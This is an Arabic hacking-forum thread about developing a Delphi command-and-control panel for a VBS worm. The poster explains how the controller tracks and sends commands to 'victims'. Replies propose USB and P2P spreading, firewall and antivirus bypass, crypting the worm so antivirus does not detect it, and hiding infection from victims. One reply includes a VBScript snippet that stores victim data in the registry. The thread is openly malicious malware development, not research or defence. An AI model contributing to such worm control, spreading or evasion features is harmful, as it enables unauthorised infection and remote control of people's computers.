[ Delphi ] ورشة تطوير متحكمي لدودة الـ vbs بدلفي

تم تحميل الصفحة في 0,9031729 ثانية
ورشة تطوير متحكمي لدودة الـ vbs بدلفي
الحالة
مغلق و غير مفتوح للمزيد من الردود.

H O U D I N I

.:: Legends DeveloPer ::.
rankrankrankrankrankrank
إنضم
14 أغسطس 2010
المشاركات
5,253
الإعجابات
8,257
النقاط
113
الإقامة
الجزائر
سلام عليكم إخواني

اليوم ارتأيت طرح ورشة للخربشة في متحكم دودة الـ vbs من طرفي
عسى نصل لشي جيد

اولا حمل سورس كود المتحكم من هنا لتطبيق اي تغيرات قد تطرأ عليه مستقبلا


سورس كود للمتحكم

حمله من هنا



اوكي الحين على شخص يحب مشاركة ب


  • اقتراح لتطوير نسخة
  • مشكلة يصادفها في برنامج - يكون مستعد للمشراكة بحلها -
  • نسخة معدلة من برنامج بها شي جديد

بانتظار الجميع

 
إنضم
13 مارس 2013
المشاركات
455
الإعجابات
259
النقاط
0
رد: ورشة تطوير متحكمي لدودة الـ vbs بدلفي

أول رد شرف وأي شرف
تسلم حبيبي أتمنى تعطينا نبذة عن المتحكم مامتصور كيف يشتغل
ع العموم بحاول أجرب
تسلم :6:
 

H O U D I N I

.:: Legends DeveloPer ::.
rankrankrankrankrankrank
إنضم
14 أغسطس 2010
المشاركات
5,253
الإعجابات
8,257
النقاط
113
الإقامة
الجزائر
رد: ورشة تطوير متحكمي لدودة الـ vbs بدلفي

اوكي حبيبي ما في مشكلة
ساشرح اهم الامور في عمل المتحكم

اهم المتغيرات
كود:
wormclients
مكون من نوع قائمة يتم فيه حفظ قائمة الضحايا التي قد تصل الى بضعة الاف
لو نبي تحكم في ملايين الضحايا فنحن بحاجة لقاعدة بيانات و لن يتحمل هدا المكون الامر
كود:
tconnection
بنية يتم فيها حفظ اوامر
 command 
التي سترسل لاي ضحية اضافة الى سطر 
items
 الدي تشغله الضحية في قائمة الضحايا والدي تم انشائه اثناء اتصالها
اهم الوضائف
كود:
pingtimer(sender: tobject);
وضيفة لجس نبض اي صحية ادا كانت متصلة ام لا
كود:
idtoindex (id :string):integer;
وضيفة لتحويل رقم تعريف الضحية الى موقع الضحية بالقائمة
 wormclients
كود:
wormservercommandget (athread: tidpeerthread;arequestinfo: tidhttprequestinfo; aresponseinfo: tidhttpresponseinfo);
وضيفة لمعالجة رسائل التي ترسلها الدودة و رد عليها
و هي قلب المتحكم
الية عمل
ما ان يتصل ضحية ما حتى نقوم بانشاء بنية pconnection
لاحظ اننا انشئنا مؤشر للبنية tconnection
وهدا حتى يتم قبوله عند اضافة لقائمة الضحايا في مكون tlist
بنية كما قلنا تحوي سترينغ للاومار التي سيتم ارسالها لتحكم بدودة
و تحوي مقبض item الدي تم انشائه في قائمة الضحايا لهته الضحية

طريقة ارسال اوامر

اوكي مثلا لو نريد ازالة صحية ما ، كيف سيتم هدا
اولا سنقرا ال item المحدد من طرف مستخدم قد يكون واحد وقد يكون اكثر
بعد تحديده نقرا الـ caption له الدي يمثل رقم تعريف صحية مثلا
546231
بعدها نقوم بالحصول على موقع هدا الايدي في قائمة ضحايا عبر وظيفة
idtoindex نفرض انه x
اوكي ب استعمال هدا سطر
pconnection (wormclients[x]).command
نكون وصلنا للمتغير الدي سنكتب او نقرا من اوامر للضحية
فاول ما يتصل الضحية يتم ارسالها له

على فكرة هته نفس الية المتبعة في سباي نات
فانا اخدتها منه
:15:





 
إنضم
27 ديسمبر 2006
المشاركات
2,370
الإعجابات
1,517
النقاط
113
رد: ورشة تطوير متحكمي لدودة الـ vbs بدلفي

أنا عندي إقتراح وأرجو أن ينال إعجابك :)
ما رأيك أن تضيف خصائص إنتشار مثل
الخصائص التي كانت في دودة [ X4X ]
و بتكون دودة إنتشارية رهيبة جداً
:)
 

H O U D I N I

.:: Legends DeveloPer ::.
rankrankrankrankrankrank
إنضم
14 أغسطس 2010
المشاركات
5,253
الإعجابات
8,257
النقاط
113
الإقامة
الجزائر
رد: ورشة تطوير متحكمي لدودة الـ vbs بدلفي

شوف هذا الموضوع لإضافة إسم الدولة :
معرفة اسم الدولة و اختصارها VBS
اجل شاهدته لاكن فكرته خاطئة
الاصح جعل المتحكم من يعرف دولة ضحية فدودة ترسل ايبي للضحية و هكدا ستتفادى تاخير في دودة و عدة مشاكل اخرى
هنالك geoip مكتبة تعطيك الدولة للضحية بسطر واحد برمجي و من دون نات
 
إنضم
25 أبريل 2012
المشاركات
4,474
الإعجابات
6,932
النقاط
113
رد: ورشة تطوير متحكمي لدودة الـ vbs بدلفي

ناداني توقيعك
فدفعني الفضول لمعرفة الجديد

سؤحمل السورس للاطلاع عليه
شكرا لك
اما فيما يخص الدودة فلقد تم اجاد طريقة تشفيرها كلين
فهي دودة قوية ،إن اصابة USB فلن يسلم منها اي جهاز يتم تركيب USB فيه
سيتم الاختراق :6:

لكن يوجد مشكل صغير
ان صاحب الجهاز المصاب سيعرف ان جهازه مصاب هههههههه
حتما سيعمل فورمات او يترك الدودة تنتشر :15:
 

H O U D I N I

.:: Legends DeveloPer ::.
rankrankrankrankrankrank
إنضم
14 أغسطس 2010
المشاركات
5,253
الإعجابات
8,257
النقاط
113
الإقامة
الجزائر
رد: ورشة تطوير متحكمي لدودة الـ vbs بدلفي

لكن يوجد مشكل صغير
ان صاحب الجهاز المصاب سيعرف ان جهازه مصاب هههههههه
حتما سيعمل فورمات او يترك الدودة تنتشر :15:
يمكن سنضيف انتشارات اخرى و ستكون دودةب دلفي
100*100
ويمكن نستغني عن Usb من اصله
 
إنضم
15 أغسطس 2010
المشاركات
963
الإعجابات
1,602
النقاط
93
رد: ورشة تطوير متحكمي لدودة الـ vbs بدلفي

:6:

اشطه شكلى كدا مدعو للحفل

:29:
 
إنضم
13 مايو 2009
المشاركات
628
الإعجابات
418
النقاط
0
رد: ورشة تطوير متحكمي لدودة الـ vbs بدلفي

فيما يخص طريقة معرفة دولة الضحية بجعلها في المتحكم فهاذا سيثقل المتحكم كثيرا
تخيل الف ضحية اي 1000 اتصال بالموقع كم يستغرق الوقت ؟؟؟
بالعكس افضل حاجة تطوير الكود الذي وضعته لجعله في الدودة كما عملتها انا
يستغرق 2 ثاتية الى 3
و بعدها حفظ القيمة في الروجيستر
كود:
If gtv("Contry") = "??" Then
stv "Contry" , ipcont
End If
كود:
 [FONT=Courier New][COLOR=#0000FF]Function[/COLOR][COLOR=#000000] stv[/COLOR][COLOR=#000000](nm[/COLOR][COLOR=#000000] ,vl[/COLOR][COLOR=#000000])[/COLOR]
[COLOR=#0000FF]On[/COLOR][COLOR=#000000] [/COLOR][COLOR=#0000FF]Error[/COLOR][COLOR=#000000] [/COLOR][COLOR=#0000FF]Resume[/COLOR][COLOR=#000000] [/COLOR][COLOR=#0000FF]Next[/COLOR]
[COLOR=#000000]****************l.RegWrite[/COLOR][COLOR=#000000] [/COLOR][COLOR=#808080]"HKCU\Software\scorpion\"[/COLOR][COLOR=#000000] & nm[/COLOR][COLOR=#000000] ,vl[/COLOR][COLOR=#000000], [/COLOR][COLOR=#808080]"REG_SZ"[/COLOR]
[COLOR=#0000FF]end[/COLOR][COLOR=#000000] [/COLOR][COLOR=#0000FF]Function

[/COLOR] [COLOR=#0000FF]Function[/COLOR][COLOR=#000000] gtv[/COLOR][COLOR=#000000](nm[/COLOR][COLOR=#000000])
[/COLOR][COLOR=#0000FF]On[/COLOR][COLOR=#000000] [/COLOR][COLOR=#0000FF]Error[/COLOR][COLOR=#000000] [/COLOR][COLOR=#0000FF]Resume[/COLOR][COLOR=#000000] [/COLOR][COLOR=#0000FF]Next[/COLOR]
[COLOR=#000000]gtv[/COLOR][COLOR=#000000] = ****************l.RegRead[/COLOR][COLOR=#000000] ([/COLOR][COLOR=#808080]"HKCU\Software\scorpion\"[/COLOR][COLOR=#000000] & nm[/COLOR][COLOR=#000000])[/COLOR]
[COLOR=#0000FF]If[/COLOR][COLOR=#000000] gtv[/COLOR][COLOR=#000000] = [/COLOR][COLOR=#808080]""[/COLOR][COLOR=#000000] [/COLOR][COLOR=#0000FF]Then[/COLOR]
[COLOR=#000000]gtv[/COLOR][COLOR=#000000] = [/COLOR][COLOR=#808080]"??"[/COLOR]
[COLOR=#0000FF]End[/COLOR][COLOR=#000000] [/COLOR][COLOR=#0000FF]If[/COLOR]
[COLOR=#0000FF]End[/COLOR][COLOR=#000000] [/COLOR][COLOR=#0000FF]Function[/COLOR]
  [/FONT]
استبدل النقاط بالشيل
اضن الكود واضح
 
إنضم
13 مايو 2009
المشاركات
628
الإعجابات
418
النقاط
0
رد: ورشة تطوير متحكمي لدودة الـ vbs بدلفي

هاذا يجعل الدودة تتصل بالموقع مرة واحدة فقط و من ثم يتم استعادة اسم الدولة من الريجيستر و لو حبيت احفظ في ملف تكست امام الدودة
غدا اعطيك دودتي المطورة فيها عداد بالفلاشات المصابة(السيريال نمبر) وعدد الملفات المصابة
اضافة الى تطوير الانتشار ليشمل كل الملفات المجودة في الفلاشة
مع تفادي نشر نفسها كل مرة في فلاشة واحدة جرب الدودة السابقة في فلاش ديسك و سوف تلاحظ انها تنشر نفسها و تعديد النشر كل وقت في نفس الفلاش المصاب
 

H O U D I N I

.:: Legends DeveloPer ::.
rankrankrankrankrankrank
إنضم
14 أغسطس 2010
المشاركات
5,253
الإعجابات
8,257
النقاط
113
الإقامة
الجزائر
رد: ورشة تطوير متحكمي لدودة الـ vbs بدلفي

تسلم حبيبي
THE SCORPION KUNG
على مشاركتك
لاكن لااوافقك فيما تقوله انمتحكم يثقل فانا كما قلت جلب علم ضحية سيتم ب
geoip
و هي تعمل دون نات و دون اي موقع فهي اشبه بقاعدة بيانات
فالامر سيتم بسرعة فائقة اشبه بقرائة من ملف

بالنهاية منتظر دودتك المطورة و فيما يخص اعادة انتشار بالفلاشة فهدا احترازيا فيمكن مستخدم
ينظف الفلاشة و نخسر انتشار

 
إنضم
13 مايو 2009
المشاركات
628
الإعجابات
418
النقاط
0
رد: ورشة تطوير متحكمي لدودة الـ vbs بدلفي

تسلم حبيبي
THE SCORPION KUNG
على مشاركتك
لاكن لااوافقك فيما تقوله انمتحكم يثقل فانا كما قلت جلب علم ضحية سيتم ب
geoip
و هي تعمل دون نات و دون اي موقع فهي اشبه بقاعدة بيانات
فالامر سيتم بسرعة فائقة اشبه بقرائة من ملف

بالنهاية منتظر دودتك المطورة و فيما يخص اعادة انتشار بالفلاشة فهدا احترازيا فيمكن مستخدم
ينظف الفلاشة و نخسر انتشار

قاعدة بيانات geoip كم حجمها ؟
 
إنضم
13 مايو 2009
المشاركات
628
الإعجابات
418
النقاط
0
رد: ورشة تطوير متحكمي لدودة الـ vbs بدلفي

ممكن تعطيني رابطها صديقي اشوفها
 

Mariio

.:: مُراقب أقسام البرمجة ::.
rankrankrankrankrankrank
طاقم الإدارة
إنضم
1 مايو 2007
المشاركات
4,851
الإعجابات
4,356
النقاط
133
الإقامة
USA
رد: ورشة تطوير متحكمي لدودة الـ vbs بدلفي

تحب تضيف تخطيات وانتشار
؟??

مثل p2p, USB
تخطي التنقيح والنظام والهمي وجدران الحمايه الخ...

؟؟
 
إنضم
13 مايو 2009
المشاركات
628
الإعجابات
418
النقاط
0
رد: ورشة تطوير متحكمي لدودة الـ vbs بدلفي

تم تجريب القاعدة سريعة و جيدة
 
إنضم
25 أبريل 2012
المشاركات
4,474
الإعجابات
6,932
النقاط
113
رد: ورشة تطوير متحكمي لدودة الـ vbs بدلفي

حاليا توصلت لتشفير الدودة كلين


واقترح بذل عمل إختصارات لجميع الملفات الموجودة في الفلاش
يتم عمل إختصارات لمجلدات النظام فقط ،حتى لا يتم كشف الدودة من طرف الضحايا ،فيسرعون بالفرمطة هههههه

اعلم انه تم برمجة دودة بالاوتوايت ،من قبل الاخ ناصر
لكن وجدت صعوبة كبيرة في تشفيرها
ولهذا لو امكن نطوور هذه الدودة فقط دات الامتداد VBS
صغيرة الحجم
وسهلة في التشفير


نتيجة التشفير





 
الحالة
مغلق و غير مفتوح للمزيد من الردود.

الأعضاء النشطين حاليآ الذين يشاهدون هذا الموضوع (1 عضو و 0 ضيف)

خيارات الاستايل

نوع الخط
مودك
اخفاء السايدر بار OFF
توسيط المنتدى OFF
فصل الأقسام OFF
الأقسام الفرعية OFF
عرض المشاركات
حجم الخط
معلومات العضو OFF
إخفاء التوقيع OFF

إرجاع خيارات الإستايل